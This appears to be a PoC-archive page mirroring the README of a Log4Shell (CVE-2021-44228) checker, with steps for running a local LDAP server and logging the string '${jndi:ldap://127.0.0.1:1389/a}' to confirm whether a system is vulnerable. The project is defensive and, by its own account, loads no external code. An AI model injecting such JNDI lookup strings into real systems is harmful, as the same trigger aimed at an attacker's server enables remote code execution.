Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
Vulnerability CVE-2021-44228 checker
Readme
# CVE-2021-44228 checker

This is the repository for checking for vulnerability [CVE-2021-44228](https://access.redhat.com/security/cve/cve-2021-44228).

**This is a PoC that only displays strings without any external class loading. It cannot be used for arbitrary code execution.**

## How it works?

### Step 1: Run the server application

The image `ghcr.io/greymd/cve-2021-44228/server` is available and can be run on Docker.

```
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
```

### Step 2: Access the endpoint with log4j

Prepare the code to output logs using log4j and run it on the same host.
Make output string `${jndi:ldap://127.0.0.1:1389/a}`.

```java
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}
```

If the argument is one that causes a vulnerability, the phrase 「うんこもりもり」(which means like "Lots of shit.") will be logged successfully.

```
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"
```

If you are lazy to write and build your code, you can use a simple logger application in this repository.
The first argument will be output by the Logger.

```
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
```

An example of giving an argument that causes a vulnerability would be as follows.

```
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"
```

If you have a version of log4j that is NOT affected by the vulnerability, **or the server application is not running**, the string will be output as is without any modification. You can verify this by updating the version of the logger application as shown below.

```
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
```

### Run the server application without Docker

```
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
```

## Motivation
As I mentioned (and as far as I investigate), this vulnerability will not be reproduced unless the destination server of JNDI is running. Therefore, a simple PoC is useful.

## References

The following URLs were used for reference in the implementation.

* https://www.lunasec.io/docs/blog/log4j-zero-day/
* https://github.com/mbechler/marshalsec
* https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
* https://github.com/apache/logging-log4j2/pull/608
* https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

## Tested versions

* `OpenJDK Runtime Environment (build 1.8.0_302-b08)`
* `OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)`
* `OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)`
File Snapshot

[4.0K] /data/pocs/9ec4ed20567c356d0379468b0bfdeed93cfa0f68 ├── [4.0K] logger │   ├── [ 396] build.gradle │   ├── [4.0K] gradle │   │   └── [4.0K] wrapper │   │   ├── [ 58K] gradle-wrapper.jar │   │   └── [ 202] gradle-wrapper.properties │   ├── [7.9K] gradlew │   ├── [2.6K] gradlew.bat │   ├── [ 355] settings.gradle │   └── [4.0K] src │   └── [4.0K] main │   └── [4.0K] java │   └── [4.0K] logger │   └── [ 329] App.java ├── [4.0K] README.md └── [4.0K] server ├── [ 246] build.gradle ├── [ 501] deploy.sh ├── [ 321] Dockerfile ├── [4.0K] gradle │   └── [4.0K] wrapper │   ├── [ 58K] gradle-wrapper.jar │   └── [ 202] gradle-wrapper.properties ├── [7.9K] gradlew ├── [2.6K] gradlew.bat ├── [ 94] Makefile ├── [ 355] settings.gradle └── [4.0K] src └── [4.0K] main └── [4.0K] java └── [4.0K] server └── [3.8K] App.java 14 directories, 18 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →